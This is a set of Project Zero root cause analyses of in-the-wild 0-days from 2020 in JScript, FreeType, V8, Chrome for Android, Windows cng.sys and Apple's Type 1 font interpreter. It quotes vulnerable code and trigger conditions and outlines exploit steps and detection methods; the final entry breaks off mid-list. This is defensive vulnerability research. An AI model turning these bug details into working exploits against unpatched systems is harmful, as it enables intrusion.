Yang([@dnpushme](https://twitter.com/dnpushme)) of Qihoo 360 ATA, Clément Lecigne of Google’s Threat Analysis Group 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** https://github.com/maxpl0it/CVE-2020-0674-Exploit by [@maxpl0it](https://twitter.com/maxpl0it) 27 | 28 | **Exploit sample:** [1ad754caa89e08bb10ce538257879d0775bddd8a74b8ff14aaa3d92a2c35b543](https://www.virustotal.com/gui/file/1ad754caa89e08bb10ce538257879d0775bddd8a74b8ff14aaa3d92a2c35b543/detection) 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** Yes 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** JScript *variable* (VAR) object not tracked by garbage collector, use-after-free 35 | 36 | **Vulnerability details:** 37 | 38 | This vulnerability is almost exactly the same as [CVE-2019-1367](../2019/CVE-2019-1367.md) except that named arguments aren’t tracked rather than the arguments array. 39 | 40 | The vulnerability is a member of the use-after-free bug class in JScript where variables (represented by the VAR structure) aren’t properly tracked by the garbage collector. In this case, the named arguments are not tracked by the garbage collector during the Array.sort callback. Thus, during the Array.sort callback, it is possible to assign a variable to one of the named arguments, have it garbage-collected (as long as it is not referenced anywhere else) and still access it later, causing the use-after-free. 41 | 42 | **Patch analysis:** N/A 43 | 44 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 45 | 46 | Code auditing/variant analysis on the other JScript bugs (CVE-2018-8653, CVE-2019-1367, CVE-2019-1429) that have been recently disclosed. 47 | 48 | **(Historical/present/future) context of bug:** 49 | 50 | This vulnerability is a trivial variant of [CVE-2019-1367](../2019/CVE-2019-1367.md)/CVE-2019-1429 and thus shares the long history with that bug. There are now 4 JScript vulnerabilities (CVE-2018-8653, CVE-2019-1367, CVE-2019-1429, and CVE-2020-0674) of the same bug class, using the same exploitation method, that all have been exploited in the wild. 51 | 52 | [Google Threat Analysis Group (TAG) has stated](https://www.blog.google/threat-analysis-group/identifying-vulnerabilities-and-protecting-you-phishing/) that all four were used by the same actor. [Qihoo Core Security team said](https://blogs.360.cn/post/apt-c-06_0day.html) that they saw this vulnerability exploited in-the-wild with [CVE-2019-17026](CVE-2019-17026.md) by Dark Hotel. 53 | 54 | ## The Exploit 55 | 56 | **Is the exploit method known?** Yes 57 | 58 | **Exploit method:** 59 | 60 | This exploit uses the exact same exploit method as CVE-2019-1367, CVE-2020-1429, and CVE-2018-8653. Please see the [CVE-2019-1367 root cause analysis](../CVE-2019-1367.md) for more details on the exploit method. 61 | 62 | ## The Next Steps 63 | 64 | ### Variant analysis 65 | 66 | **Areas/approach for variant analysis (and why):** In all JScript callbacks, check that all of their variables are tracked by the GarbageCollector. 67 | 68 | **Found variants:** 69 | 70 | * [CVE-2020-0968](https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968): During string concatenation, one of the two strings is temporarily stored on the stack and is not correctly tracked by the garbage collector. 71 | 72 | ### Structural improvements 73 | 74 | * Bug classes should be fixed comprehensively, not just fixing each vulnerability individually. 75 | * Quality and complete patches need to be prioritized. CVE-2019-1367 was not fixed the first time or the second time and the trivial variant also wasn’t patched. This gave the attackers 3 distinct opportunities to exploit the vulnerability against the users, which they apparently did. Sharing proposed patches with the reporter could help identify these issues earlier. 76 | * JScript and Internet Explorer are now considered “legacy” software. Removing them from being accessible by default in the Windows operating system would reduce the attack surface. 77 | 78 | ### 0-day detection methods 79 | 80 | * Look for any scripts that want to use JScript as their JS engine outside of a local intranet. 81 | * Look for scripts that use the Enumerator object due to that being Microsoft specific and one of the known methods for exploiting the UAF to get remote code execution. 82 | * Look for scripts that attempt to trigger CollectGarbage. 83 | 84 | ## Other References 85 | 86 | * February 2020: [“Darkhotel (APT-C-06) uses the "Double Star" 0Day vulnerability (CVE-2019-17026, CVE-2020-0674) to analyze the APT attack launched by China (translated)”](https://blogs.360.cn/post/apt-c-06_0day.html) by Qihoo 360 Core Security Team 87 | * May 2020: [Proof of concept exploit for CVE-2020-0674](https://github.com/maxpl0it/CVE-2020-0674-Exploit) by maxpl0it 88 | * May 2020: [“Internet Exploiter: Understanding Vulnerabilities in Internet Explorer”](https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer) by F-Secure Labs 89 | * June 2020: [“The exploits of a Google TAG analyst chasing in the wild”](https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer) by Clément Lecigne at SSTIC [[slides](https://www.sstic.org/media/SSTIC2020/SSTIC-actes/cloture_2020/SSTIC2020-Slides-cloture_2020-lecigne.pdf)] 90 | * July 2020: [“Internet Explorer CVE-2019-1367 In the Wild Exploitation - prelude”](https://blog.confiant.com/internet-explorer-cve-2019-1367-in-the-wild-exploitation-prelude-ef546f19cd30) includes detailed timeline about this family of vulnerabilities/exploits by Taha Karim -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-15999.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-15999: FreeType Heap Buffer Overflow in Load_SBit_Png 2 | *Sergei Glazunov, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-02-04)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 19 October 2020 7 | 8 | **Product:** Google Chrome/ Freetype 9 | 10 | **Advisory:** https://chromereleases.googleblog.com/2020/10/stable-channel-update-for-desktop_20.html 11 | 12 | **Affected Versions:** 86.0.4240.80 and previous 13 | 14 | **First Patched Version:** 86.0.4240.111 15 | 16 | **Issue/Bug Report:** 17 | 18 | * Project Zero: https://bugs.chromium.org/p/project-zero/issues/detail?id=2103 19 | * Chromium: https://bugs.chromium.org/p/chromium/issues/detail?id=1139963 20 | * FreeType: https://savannah.nongnu.org/bugs/?59308 21 | 22 | **Patch CL:** 23 | 24 | * Chromium: https://chromium.googlesource.com/chromium/src/third_party/freetype2.git/+/80389cab7f5823e7c3b3fe4190a7c337439317de 25 | * FreeType: https://git.savannah.gnu.org/cgit/freetype/freetype2.git/commit/src/sfnt/pngshim.c?id=a3bab162b2ae616074c8877a04556932998aeacd 26 | 27 | **Bug-Introducing CL:** http://git.savannah.gnu.org/cgit/freetype/freetype2.git/commit/?id=01705395b08167b654a24f26673ee6e75a84f2be 28 | 29 | **Reporter(s):** Sergei Glazunov of Google Project Zero 30 | 31 | ## The Code 32 | 33 | **Proof-of-concept:** A font file which will reproduce the crash in an ASAN build is attached [here](https://bugs.chromium.org/p/project-zero/issues/detail?id=2103). 34 | 35 | **Exploit sample:** N/A 36 | 37 | **Did you have access to the exploit sample when doing the analysis?** Yes 38 | 39 | ## The Vulnerability 40 | 41 | **Bug class:** Heap buffer overflow 42 | 43 | **Vulnerability details:** 44 | 45 | FreeType is a popular software development library used to render text onto bitmaps, and provides support for other font-related operations. The vulnerability exists in the function `Load_SBit_Png`, which processes PNG images that are embedded into fonts. `Load_SBit_Png` truncates the image height and width to 16-bit integers when calculating the bitmap size. This size is used to allocate the buffer. However, later the code passes the original 32-bit values for the height and width along with the allocated buffer to libpng for further processing. Therefore, if the original width and/or height are greater than 65535, the allocated buffer won’t be able to fit the bitmap. 46 | 47 | **Patch analysis:** N/A 48 | 49 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 50 | 51 | The issue is relatively straightforward to be found during a manual code review. It's also quite possible that it has been discovered as a result of variant analysis of https://bugs.chromium.org/p/project-zero/issues/detail?id=168. 52 | 53 | **(Historical/present/future) context of bug:** 54 | 55 | The vulnerability was used by the actor in two exploit chains: 56 | - together with a OS kernel issue ([CVE-2020-17087](CVE-2020-17087.md)) on Windows, 57 | - together with a Chrome-specific heap buffer overflow ([CVE-2020-16010](CVE-2020-16010.md)) in the browser process on Android. 58 | 59 | ## The Exploit 60 | 61 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 62 | 63 | **Exploit strategy (or strategies):** *Still under analysis* 64 | 65 | **Exploit flow:** *Still under analysis* 66 | 67 | **Known cases of the same exploit flow:** *Still under analysis* 68 | 69 | **Part of an exploit chain?** Yes, paired with [CVE-2020-17087](CVE-2020-17087.md) on Windows and [CVE-2020-16010](CVE-2020-16010.md) on Android. The attacker also had iOS 70 | 71 | ## The Next Steps 72 | 73 | ### Variant analysis 74 | 75 | **Areas/approach for variant analysis (and why):** 76 | 77 | Fuzzing for interoperability issues between FreeType and its dependencies (e.g., libpng). 78 | 79 | **Found variants:** N/A 80 | 81 | ### Structural improvements 82 | 83 | The issue is a textbook buffer overflow, so while generic solutions like memory tagging apply, it's unlikely there's a potential structural improvement that's specific to the bug/area. 84 | 85 | ### 0-day detection methods 86 | 87 | ## Other References 88 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-16009.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-16009: Chrome Turbofan Type Confusion after Map Deprecation 2 | *Samuel Groß, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-02-04)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 2 November 2020 7 | 8 | **Product:** Google Chrome 9 | 10 | **Advisory:** https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop.html 11 | 12 | **Affected Versions:** 86.0.4240.111 and previous 13 | 14 | **First Patched Version:** 86.0.4240.183 15 | 16 | **Issue/Bug Report:** 17 | 18 | * Project Zero: https://bugs.chromium.org/p/project-zero/issues/detail?id=2106 19 | * Chromium: https://bugs.chromium.org/p/chromium/issues/detail?id=1143772 20 | 21 | **Patch CL:** https://chromium.googlesource.com/v8/v8.git/+/3ba21a17ce2f26b015cc29adc473812247472776 22 | 23 | **Bug-Introducing CL:** N/A 24 | 25 | **Reporter(s):** Clément Lecigne of Google's Threat Analysis Group and Samuel Groß of Google Project Zero 26 | 27 | ## The Code 28 | 29 | **Proof-of-concept:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2106 30 | 31 | **Exploit sample:** N/A 32 | 33 | **Did you have access to the exploit sample when doing the analysis?** Yes 34 | 35 | ## The Vulnerability 36 | 37 | **Bug class:** Type Confusion 38 | 39 | **Vulnerability details:** Incorrect Map deprecation in V8, leading to type confusions 40 | 41 | When Turbofan compiles code that performs a Map transition, it usually installs a `CodeDependency` so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function. This function will only install the dependency if the target Map can be deprecated, which is determined by `Map::CanBeDeprecated`. As shown below, `CanBeDeprecated` assumes that a Map storing only fields of type `Double` or `Tagged` can not be deprecated if `FLAG_unbox_double_fields` is false, which is the case if pointer compression is enabled (the default on x64): 42 | 43 | ```c++ 44 | bool Map::CanBeDeprecated() const { 45 | for (InternalIndex i : IterateOwnDescriptors()) { 46 | PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i); 47 | if (details.representation().IsNone()) return true; 48 | if (details.representation().IsSmi()) return true; 49 | if (details.representation().IsDouble() && FLAG_unbox_double_fields) <--- 50 | return true; 51 | if (details.representation().IsHeapObject()) return true; 52 | if (details.kind() == kData && details.location() == kDescriptor) { 53 | return true; 54 | } 55 | } 56 | return false; 57 | } 58 | ``` 59 | 60 | However, in certain scenarios (refer to the [PoC in the Project Zero](https://bugs.chromium.org/p/project-zero/issues/detail?id=2106) issue tracker for details), V8 would accidentally deprecate a Map containing only tagged and double properties. This bug can then be exploited when combined with the in-place field generalization mechanism. In short, the idea is to: 61 | 62 | 1. JIT compile a function that performs a transition from `map1{a:double}` to `map2{a:double,b:tagged}`. Turbofan will assume that `map2` can never be deprecated and will not install `CodeDependencies` to deoptimize the JIT code if it is. 63 | 2. Trigger the bug to deprecate `map2`. This does not deoptimize the JIT code. 64 | 3. In-place generalize `map1.a` to type `tagged`. This will not also generalize `map2` since it is deprecated. 65 | 4. Execute the JIT code. This will effectively transition from `map1{a:tagged}` to `map2{a:double,b:whatever}`, which is incorrect and results in a type confusion 66 | 67 | **Patch analysis:** N/A 68 | 69 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 70 | 71 | It is possible to find this bug through (targeted) fuzzing, although it is quite difficult to trigger it. As such, it is also (at least equally, in my opinion) possible that this bug would have been found through manual analysis, since the area of the code is known to be complex and security critical. 72 | 73 | **(Historical/present/future) context of bug:** 74 | 75 | The Map transition/deprecation mechanism is fairly complex and various bugs have been found in it in the past, for example: 76 | 77 | * https://bugs.chromium.org/p/chromium/issues/detail?id=746946 78 | * https://bugs.chromium.org/p/project-zero/issues/detail?id=1923 79 | 80 | Although these were related to element kinds and not property types/representations. 81 | 82 | ## The Exploit 83 | 84 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 85 | 86 | **Exploit strategy (or strategies):** *Still under analysis* 87 | 88 | **Exploit flow:** *Still under analysis* 89 | 90 | **Known cases of the same exploit flow:** *Still under analysis* 91 | 92 | **Part of an exploit chain?** This vulnerability was used as a Chrome RCE towards Android, but we do not know what exploits would be used after this. This vulnerability was used by the same actors during the same operation as [CVE-2020-15999](CVE-2020-15999.md), [CVE-2020-17087](CVE-2020-17087.md), [CVE-2020-16010](CVE-2020-16010.md), [CVE-2020-27930](CVE-2020-27930.md), [CVE-2020-27950](CVE-2020-27950.md), and [CVE-2020-27932](CVE-2020-27932.md). 93 | 94 | ## The Next Steps 95 | 96 | ### Variant analysis 97 | 98 | **Areas/approach for variant analysis (and why):** Fuzzing or auditing the Map transition/deprecation logic. 99 | 100 | **Found variants:** 101 | 102 | ### Structural improvements 103 | 104 | * Build targeted fuzzers for the Map transition/deprecation logic, similar to [this one](https://github.com/googleprojectzero/fuzzilli/blob/ce4738fc571e2ef2aa5a30424f32f7957a70b5f3/Sources/FuzzilliCli/Profiles/V8Profile.swift#L28) 105 | * Add a custom “sanitizer” to v8 that detects invalid Map deprecations. This can help fuzzers detect these kinds of issues earlier 106 | * Simplifying Map operations, e.g. by [removing Map deprecations](https://docs.google.com/document/d/1VeKIskAakxQFnUBNkhBmVswgR7Vk6T1kAyKRLhqerb4/edit?usp=sharing) 107 | 108 | ### 0-day detection methods 109 | 110 | N/A, likely hard to do generically. Triggers for JavaScript engine bugs are usually hard to distinguish from legitimate (and minified) JavaScript code. Especially for this type of bug, all the trigger code does is to create objects and load or store properties from/to them. 111 | 112 | ## Other References 113 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-16010.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-16010: Chrome for Android ConvertToJavaBitmap Heap Buffer Overflow 2 | *Mark Brand and Sergei Glazunov, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-02-04)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 2 November 2020 7 | 8 | **Product:** Google Chrome for Android 9 | 10 | **Advisory:** https://chromereleases.googleblog.com/2020/11/chrome-for-android-update.html 11 | 12 | **Affected Versions:** 86.0.4240.114 and previous 13 | 14 | **First Patched Version:** 86.0.4240.185 15 | 16 | **Issue/Bug Report:** 17 | 18 | * Project Zero: https://bugs.chromium.org/p/project-zero/issues/detail?id=2112 19 | * Chromium: https://bugs.chromium.org/p/chromium/issues/detail?id=1144368 20 | 21 | **Patch CL:** https://chromium.googlesource.com/chromium/src.git/+/e598fc599bd920392256d05c61826466c73c8e89 22 | 23 | **Bug-Introducing CL:** Unknown - at least from the [migration of the use of SkColorType from SkBitmap::Config](https://source.chromium.org/chromium/chromium/src/+/3fa5258463086cc5606c3e8363d0ded6ff88c1d4) but may have existed prior to that. 24 | 25 | **Reporter(s):** Maddie Stone, Mark Brand, and Sergei Glazunov of Google Project Zero 26 | 27 | ## The Code 28 | 29 | **Proof-of-concept:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2112 30 | 31 | **Exploit sample:** N/A 32 | 33 | **Did you have access to the exploit sample when doing the analysis?** Yes 34 | 35 | ## The Vulnerability 36 | 37 | **Bug class:** Buffer overflow 38 | 39 | **Vulnerability details:** 40 | 41 | `ConvertToJavaBitmap` doesn't handle all Skia supported color formats, and when converting a Skia bitmap with an unsupported `SkColorType`, it falls back to a default format (32-bits-per-pixel, ARGB_8888). 42 | 43 | https://source.chromium.org/chromium/chromium/src/+/master:ui/gfx/android/java_bitmap.cc;drc=8811640591d59f0b489a7703224530b03efe127b;l=44 44 | 45 | ```c++ 46 | static int SkColorTypeToBitmapFormat(SkColorType color_type) { 47 | switch (color_type) { 48 | case kAlpha_8_SkColorType: 49 | return BITMAP_FORMAT_ALPHA_8; 50 | case kARGB_4444_SkColorType: 51 | return BITMAP_FORMAT_ARGB_4444; 52 | case kN32_SkColorType: 53 | return BITMAP_FORMAT_ARGB_8888; 54 | case kRGB_565_SkColorType: 55 | return BITMAP_FORMAT_RGB_565; 56 | case kUnknown_SkColorType: 57 | default: 58 | NOTREACHED(); // NOTREACHED has no effect in release builds. 59 | return BITMAP_FORMAT_NO_CONFIG; 60 | } 61 | } 62 | ``` 63 | 64 | https://source.chromium.org/chromium/chromium/src/+/master:ui/android/java/src/org/chromium/ui/gfx/BitmapHelper.java;drc=8811640591d59f0b489a7703224530b03efe127b;l=61 65 | ```c++ 66 | /** 67 | * Provides a matching Bitmap.Config for the enum config value passed. 68 | * 69 | * @param bitmapFormatValue The Bitmap Configuration enum value. 70 | * @return Matching Bitmap.Config for the enum value passed. 71 | */ 72 | private static Bitmap.Config getBitmapConfigForFormat(int bitmapFormatValue) { 73 | switch (bitmapFormatValue) { 74 | case BitmapFormat.ALPHA_8: 75 | return Bitmap.Config.ALPHA_8; 76 | case BitmapFormat.ARGB_4444: 77 | return Bitmap.Config.ARGB_4444; 78 | case BitmapFormat.RGB_565: 79 | return Bitmap.Config.RGB_565; 80 | case BitmapFormat.ARGB_8888: 81 | default: 82 | return Bitmap.Config.ARGB_8888; // <-- fallback to 32-bpp 83 | } 84 | } 85 | ``` 86 | 87 | Since Skia supports formats with more than 32-bits-per-pixel (eg. 64-bits-per-pixel, `RGBA_F16`), this can cause a mismatch between the size of the input and output bitmap buffers. 88 | 89 | This allows an attacker to supply a malicious bitmap that will cause `CreateJavaBitmap` to create an output `JavaBitmap` with a smaller backing store than the input `SkBitmap`. This leads to a heap buffer overflow when copying the raw pixel data into the destination bitmap. 90 | 91 | The vulnerability can be fixed by ensuring that all of the input `SkBitmap`'s parameters are supported before performing the conversion, and adding an additional size check to make sure that the destination bitmap buffer is large enough prior to doing the `memcpy`. 92 | 93 | https://source.chromium.org/chromium/chromium/src/+/master:ui/gfx/android/java_bitmap.cc;drc=8811640591d59f0b489a7703224530b03efe127b;l=73 94 | ```c++ 95 | ScopedJavaLocalRef ConvertToJavaBitmap(const SkBitmap* skbitmap, 96 | OomBehavior reaction) { 97 | DCHECK(skbitmap); 98 | DCHECK(!skbitmap->isNull()); 99 | SkColorType color_type = skbitmap->colorType(); 100 | DCHECK((color_type == kRGB_565_SkColorType) || 101 | (color_type == kN32_SkColorType)); 102 | ScopedJavaLocalRef jbitmap = CreateJavaBitmap( 103 | skbitmap->width(), skbitmap->height(), color_type, reaction); 104 | if (!jbitmap) { 105 | DCHECK_EQ(OomBehavior::kReturnNullOnOom, reaction); 106 | return jbitmap; 107 | } 108 | JavaBitmap dst_lock(jbitmap); 109 | void* src_pixels = skbitmap->getPixels(); 110 | void* dst_pixels = dst_lock.pixels(); 111 | memcpy(dst_pixels, src_pixels, skbitmap->computeByteSize()); // <-- we use skbitmap size here, which may be larger than allocated size. 112 | 113 | return jbitmap; 114 | } 115 | ``` 116 | 117 | **Patch analysis:** N/A 118 | 119 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 120 | 121 | Most likely through source-code auditing. 122 | This issue (at least in the context that it was exploited) would have required an IPC fuzzer that was sufficiently aware to produce valid serialized `SkBitmap` objects, and that would be more work than simply auditing all of the relevant code. 123 | 124 | **(Historical/present/future) context of bug:** 125 | 126 | ## The Exploit 127 | 128 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 129 | 130 | **Exploit strategy (or strategies):** *Still under analysis* 131 | 132 | **Exploit flow:** *Still under analysis* 133 | 134 | **Known cases of the same exploit flow:** *Still under analysis* 135 | 136 | **Part of an exploit chain?** This vulnerability was chained as the sandbox escape on Android with [CVE-2020-15999](CVE-2020-15999.md). It was delivered to Android devices running Chrome 81+, while a Chrome 1-day was delivered to Android devices running Chrome <= 80. 137 | 138 | ## The Next Steps 139 | 140 | ### Variant analysis 141 | 142 | **Areas/approach for variant analysis (and why):** Manual source-code auditing of similar image format conversion paths, especially where incoming image data comes from an untrusted source (IPC). 143 | 144 | **Found variants:** 145 | 146 | * [CVE-2020-16011](https://bugs.chromium.org/p/project-zero/issues/detail?id=2112#c3): An identical bug existing in Chrome for Windows 147 | 148 | ### Structural improvements 149 | 150 | This specific vulnerability would not have been exploitable if it wasn't for the surprising (lack of) behaviour of Chrome's `NOTREACHED` macro in release builds; but this would not address the general class of issue. 151 | 152 | ### 0-day detection methods 153 | 154 | ## Other References 155 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-17087.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-17087: Windows pool buffer overflow in cng.sys IOCTL 2 | *Mateusz Jurczyk, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-02-04)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 7 | 8 | * Disclosure: 30 October 2020 by Google Project Zero 9 | * Patch Date: 10 November 2020 10 | 11 | **Product:** Microsoft Windows 12 | 13 | **Advisory:** https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17087 14 | 15 | **Affected Versions:** For Windows 10 2004, [KB4579311](https://support.microsoft.com/en-us/help/4579311) and previous 16 | 17 | **First Patched Version:** For Windows 10 2004, [KB4586781](https://support.microsoft.com/en-us/help/4586781/windows-10-update-kb4586781) 18 | 19 | **Issue/Bug Report:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2104 20 | 21 | **Patch CL:** N/A 22 | 23 | **Bug-Introducing CL:** N/A 24 | 25 | **Reporter(s):** Mateusz Jurczyk and Sergei Glazunov of Google Project Zero 26 | 27 | ## The Code 28 | 29 | **Proof-of-concept:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2104 30 | 31 | **Exploit sample:** N/A 32 | 33 | **Did you have access to the exploit sample when doing the analysis?** Yes 34 | 35 | ## The Vulnerability 36 | 37 | **Bug class:** Buffer overflow 38 | 39 | **Vulnerability details:** 40 | 41 | Pool buffer overflow due to an incorrect 16-bit integer truncation in the processing of IOCTL 0x390400. The bug is in the function `cng!CfgAdtpFormatPropertyBlock`. To calculate the size of the buffer to allocate, the function multiplies an attacker-controlled integer by 6 and stores the result in a variable of type `USHORT`. If the input buffer length passed in during the IOCTL call is greater than or equal to 0x2AAB, then the buffer allocated by `BCryptAlloc()` will be too small, leading to a buffer overflow. 42 | 43 | **Patch analysis:** N/A 44 | 45 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** Either through a manual audit of the IOCTL handling code accessible from user-mode, or through (coverage-guided) fuzzing. 46 | 47 | **(Historical/present/future) context of bug:** 48 | 49 | The vulnerability was used as part of an exploit chain for Chrome on Windows. It allowed the attacker to break out of the Chrome sandbox and execute code with system privileges. It was paired with [CVE-2020-15999](CVE-2020-15999.md). 50 | 51 | ## The Exploit 52 | 53 | **Exploit method:** The exploit uses the buffer overflow to establish an arbitrary read/write primitive in the kernel address space with the help of Named Pipe objects. 54 | 55 | ## The Next Steps 56 | 57 | ### Variant analysis 58 | 59 | **Areas/approach for variant analysis (and why):** 60 | 61 | Look for other trivial cases of an allocation size being down-casted to a smaller integer type in cng.sys and other drivers with user-reachable attack surfaces. 62 | 63 | **Found variants:** 64 | 65 | ### Structural improvements 66 | 67 | High level ideas: 68 | 69 | * Use static analysis to identify places in the kernel code where inadequately small integer types are used to store buffer lengths, and refactor them or discourage their use in the future. 70 | * Potential further hardening of the kernel pool allocator to make the exploitation of memory corruption in the Windows kernel (especially large overflows that corrupt more than 64 kB) less reliable. 71 | 72 | ### 0-day detection methods 73 | 74 | Directly interacting with the cng.sys driver without going through system APIs is unusual, and may be an indicator of active exploitation. 75 | 76 | ## Other References 77 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-27930.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-27930: Safari RCE in Type 1 fonts handled by libType1Scaler.dylib 2 | *Mateusz Jurczyk and Sergei Glazunov, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-02-04)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 5 November 2020 7 | 8 | **Product:** Apple Safari 9 | 10 | **Advisory:** https://support.apple.com/en-us/HT211929 11 | 12 | **Affected Versions:** iOS 14.1 and previous, macOS 10.15.6 and previous 13 | 14 | **First Patched Version:** iOS 14.2 and macOS 10.15.7 15 | 16 | **Issue/Bug Report:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2105 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Mateusz Jurczyk & Sergei Glazunov of Google Project Zero 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2105 27 | 28 | **Exploit sample:** N/A 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** Yes 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** Stack-Based Out-of-Bounds Read/Write Access 35 | 36 | **Vulnerability details:** There is a stack-based out-of-bounds read/write condition due to incomplete input validation to ensure a user-supplied integer is positive, not negative. 37 | 38 | Apple macOS and iOS use `libType1Scaler.dylib` as their interpreter for the legacy Type 1 PostScript font format. This library can be reached with user-controlled data via the Apple Safari web browser. The `libTyp1Scaler.dylib'DoType1InterpretCharString` function is the main interpreter of the PostScript glyph outline programs. One of the supported instructions is `callothersubr`, as defined on page 55 of the Type 1 spec. It expects the following syntax: 39 | ``` 40 | arg_1 . . . arg_n n othersubr# callothersubr 41 | ``` 42 | According to the specification, the instruction is supposed to call into a custom font-defined PostScript procedure identified by the `othersubr#` index and pass `n` arguments (arg_1, ..., arg_n) to it. In practice, there is a set of `othersubrs` that have predefined meaning and are implemented by the interpreter natively (e.g. 0-4, 6, 12, 13, ..., 30) and for all others, the library silently ignores them by removing `n` values from the operand stack and continuing execution. However, there is a serious security vulnerability caused by the incorrect handling of negative values of n. 43 | 44 | 45 | For non-standard `othersubr`s, the pseudo-code below will be executed 46 | ``` 47 | int n = POP(); // user-controlled 48 | 49 | op_sp -= n; 50 | if (op_sp < &op_stk[0]) { 51 | // bail out; 52 | } 53 | ``` 54 | 55 | The new stack pointer is properly sanitized against the bottom of the stack (which is important for positive `n`), but the interpreter fails to verify that `op_sp` doesn't go beyond `&op_stk[63]` for a negative `n`. Once the `op_sp` pointer goes out of bounds, the Type 1 program gets access to the native stack frame of the current function and its callers, including return addresses, various pointers to data, code, etc. Coupled with the ability to execute conditional logic and arithmetic operations through the CharString operators, it is straightforward from this point to construct an arbitrary read/write primitive, build a ROP chain directly on the stack, or execute arbitrary code by other means. 56 | 57 | **Patch analysis:** N/A 58 | 59 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** I find it most likely that the bug was found via reverse engineering and manual code audit, as Type 1 CharString interpreters are mostly self-contained and easy to reason about. Pointer arithmetic issues in such code are relatively easy to spot and trigger manually, but harder to identify through fuzzing. It's also possible that it was recognized as a variant of similar bugs found in equivalent Type 1 font engines in the past: e.g. the BLEND vulnerability in [Microsoft](https://bugs.chromium.org/p/project-zero/issues/detail?id=180) and [Adobe](https://bugs.chromium.org/p/project-zero/issues/detail?id=258) products. 60 | 61 | **(Historical/present/future) context of bug:** 62 | 63 | The Apple `libType1Scaler.dylib` code dates back to the early 1990's and shares a common ancestor with the PostScript font engines used in Microsoft Windows (ATMFD, fontdrvhost) and Adobe (CoolType) software. It may therefore share some of the same bugs that have been fixed in other forks of the code throughout the years. Many of the font exploitation techniques discussed historically also apply to Apple's library. 64 | 65 | ## The Exploit 66 | 67 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 68 | 69 | **Exploit strategy (or strategies):** *Still under analysis* 70 | 71 | **Exploit flow:** *Still under analysis* 72 | 73 | **Known cases of the same exploit flow:** *Still under analysis* 74 | 75 | **Part of an exploit chain?** This vulnerability was used as a part of an iOS exploit chain. It was used as the Safari RCE and chained with a kernel info leak ([CVE-2020-27950](CVE-2020-27950.md)) and a kernel privilege escalation ([CVE-2020-27932](CVE-2020-27932.md)). 76 | 77 | ## The Next Steps 78 | 79 | ### Variant analysis 80 | 81 | **Areas/approach for variant analysis (and why):** Perform a complete audit of the CharString interpreter implemented in `libType1Scaler.dylib`. 82 | 83 | **Found variants:** 84 | 85 | * [CVE-2020-27943](https://bugs.chromium.org/p/project-zero/issues/detail?id=2114): Apple CoreText libType1Scaler.dylib heap buffer overflow in Counter Control hints 86 | * [CVE-2020-27946](https://bugs.chromium.org/p/project-zero/issues/detail?id=2113): Apple CoreText libType1Scaler.dylib memory disclosure via uninitialized array 87 | * 